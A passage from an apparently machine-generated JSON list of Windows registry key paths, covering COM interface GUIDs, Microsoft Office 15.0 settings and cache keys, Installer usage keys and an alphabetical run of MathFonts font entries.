  1899. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{79176FB2-B7F2-11CE-97EF-00AA006D2776}",
  1900. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{79176FB2-B7F2-11CE-97EF-00AA006D2776}\\(Default)",
  1901. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{79176FB2-B7F2-11CE-97EF-00AA006D2776}",
  1902. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{79176FB2-B7F2-11CE-97EF-00AA006D2776}\\(Default)",
  1903. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{4C5992A5-6926-101B-9992-00000B65C6F9}",
  1904. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{4C5992A5-6926-101B-9992-00000B65C6F9}\\(Default)",
  1905. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{4C5992A5-6926-101B-9992-00000B65C6F9}",
  1906. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{4C5992A5-6926-101B-9992-00000B65C6F9}\\(Default)",
  1907. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}",
  1908. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}\\(Default)",
  1909. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}",
  1910. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}\\(Default)",
  1911. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}",
  1912. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1913. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}",
  1914. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1915. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}",
  1916. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1917. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}",
  1918. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1919. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}",
  1920. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1921. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}",
  1922. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1923. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}",
  1924. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1925. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}",
  1926. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1927. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}",
  1928. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1929. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}",
  1930. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1931. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}",
  1932. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1933. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}",
  1934. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1935. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}",
  1936. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1937. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}",
  1938. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1939. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}",
  1940. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1941. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}",
  1942. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1943. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}",
  1944. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1945. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}",
  1946. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1947. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5CEF5613-713D-11CE-80C9-00AA00611080}",
  1948. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5CEF5613-713D-11CE-80C9-00AA00611080}\\(Default)",
  1949. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5CEF5613-713D-11CE-80C9-00AA00611080}",
  1950. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5CEF5613-713D-11CE-80C9-00AA00611080}\\(Default)",
  1951. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{92E11A03-7358-11CE-80CB-00AA00611080}",
  1952. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{92E11A03-7358-11CE-80CB-00AA00611080}\\(Default)",
  1953. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{92E11A03-7358-11CE-80CB-00AA00611080}",
  1954. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{92E11A03-7358-11CE-80CB-00AA00611080}\\(Default)",
  1955. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}",
  1956. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  1957. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}",
  1958. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  1959. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}",
  1960. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}\\(Default)",
  1961. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}",
  1962. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}\\(Default)",
  1963. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109E60090400000000000F01FEC\\Usage\\VBAFilesIntl_1033",
  1964. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingConfigurableSettings",
  1965. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingLastSyncTime",
  1966. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingLastWriteTime",
  1967. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\OUTLOOKFiles",
  1968. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F100A0C00000000000F01FEC\\Usage\\SpellingAndGrammarFiles_3082",
  1969. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F100C0400000000000F01FEC\\Usage\\SpellingAndGrammarFiles_1036",
  1970. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F10090400000000000F01FEC\\Usage\\SpellingAndGrammarFiles_1033",
  1971. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\General\\LastAutoSavePurgeTime",
  1972. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Licensing\\09D07EFC505F4D9CBFD5ACE3217F6654",
  1973. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\ProductFiles",
  1974. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Security\\Trusted Documents\\LastPurgeTime",
  1975. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03090434",
  1976. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457503",
  1977. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033917",
  1978. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457510",
  1979. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001105",
  1980. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033919",
  1981. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457464",
  1982. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457475",
  1983. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033925",
  1984. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033927",
  1985. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457485",
  1986. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033937",
  1987. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001106",
  1988. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033921",
  1989. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457444",
  1990. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03090430",
  1991. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457515",
  1992. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457496",
  1993. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033929",
  1994. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457491",
  1995. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001103",
  1996. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001104",
  1997. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328925",
  1998. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328919",
  1999. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328884",
  2000. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328951",
  2001. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328998",
  2002. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328990",
  2003. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328986",
  2004. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328972",
  2005. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328940",
  2006. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328935",
  2007. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328975",
  2008. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328932",
  2009. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328908",
  2010. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328916",
  2011. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328983",
  2012. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM02835233",
  2013. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM01840907",
  2014. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851222",
  2015. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851223",
  2016. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851221",
  2017. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851224",
  2018. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851226",
  2019. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851220",
  2020. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851227",
  2021. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851219",
  2022. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851216",
  2023. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851218",
  2024. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851217",
  2025. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851225",
  2026. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM03998159",
  2027. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328893",
  2028. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM03998158",
  2029. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328905",
  2030. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Arial Unicode MS",
  2031. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Batang",
  2032. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@BatangChe",
  2033. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@DFKai-SB",
  2034. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Dotum",
  2035. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@DotumChe",
  2036. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@FangSong",
  2037. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Gulim",
  2038. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@GulimChe",
  2039. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Gungsuh",
  2040. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@GungsuhChe",
  2041. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@KaiTi",
  2042. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Malgun Gothic",
  2043. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Meiryo",
  2044. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Meiryo UI",
  2045. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft JhengHei",
  2046. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft JhengHei UI",
  2047. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft YaHei",
  2048. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft YaHei UI",
  2049. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU",
  2050. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU_HKSCS",
  2051. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU_HKSCS-ExtB",
  2052. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU-ExtB",
  2053. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS Gothic",
  2054. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS Mincho",
  2055. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS PGothic",
  2056. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS PMincho",
  2057. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS UI Gothic",
  2058. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@NSimSun",
  2059. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@PMingLiU",
  2060. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@PMingLiU-ExtB",
  2061. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@SimHei",
  2062. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@SimSun",
  2063. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@SimSun-ExtB",
  2064. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Agency FB",
  2065. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Aharoni",
  2066. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Algerian",
  2067. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Andalus",
  2068. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Angsana New",
  2069. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\AngsanaUPC",
  2070. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Aparajita",
  2071. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arabic Typesetting",
  2072. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial",
  2073. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Black",
  2074. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Narrow",
  2075. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Rounded MT Bold",
  2076. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Unicode MS",
  2077. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Baskerville Old Face",
  2078. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Batang",
  2079. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\BatangChe",
  2080. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bauhaus 93",
  2081. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bell MT",
  2082. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Berlin Sans FB",
  2083. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Berlin Sans FB Demi",
  2084. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bernard MT Condensed",
  2085. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Blackadder ITC",
  2086. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT",
  2087. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT Black",
  2088. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT Condensed",
  2089. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT Poster Compressed",
  2090. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Book Antiqua",
  2091. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bookman Old Style",
  2092. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bookshelf Symbol 7",
  2093. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bradley Hand ITC",
  2094. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Britannic Bold",
  2095. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Broadway",
  2096. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Browallia New",
  2097. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\BrowalliaUPC",
  2098. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Brush Script MT",
  2099. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Calibri",
  2100. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Calibri Light",
  2101. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Californian FB",
  2102. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Calisto MT",
  2103. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cambria",
  2104. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cambria Math",
  2105. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Candara",
  2106. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Castellar",
  2107. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Centaur",
  2108. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Century",
  2109. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Century Gothic",
  2110. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Century Schoolbook",
  2111. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Chiller",
  2112. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Colonna MT",
  2113. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Comic Sans MS",
  2114. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Consolas",
  2115. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Constantia",
  2116. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cooper Black",
  2117. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Copperplate Gothic Bold",
  2118. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Copperplate Gothic Light",
  2119. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Corbel",
  2120. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cordia New",
  2121. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\CordiaUPC",
  2122. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Courier New",
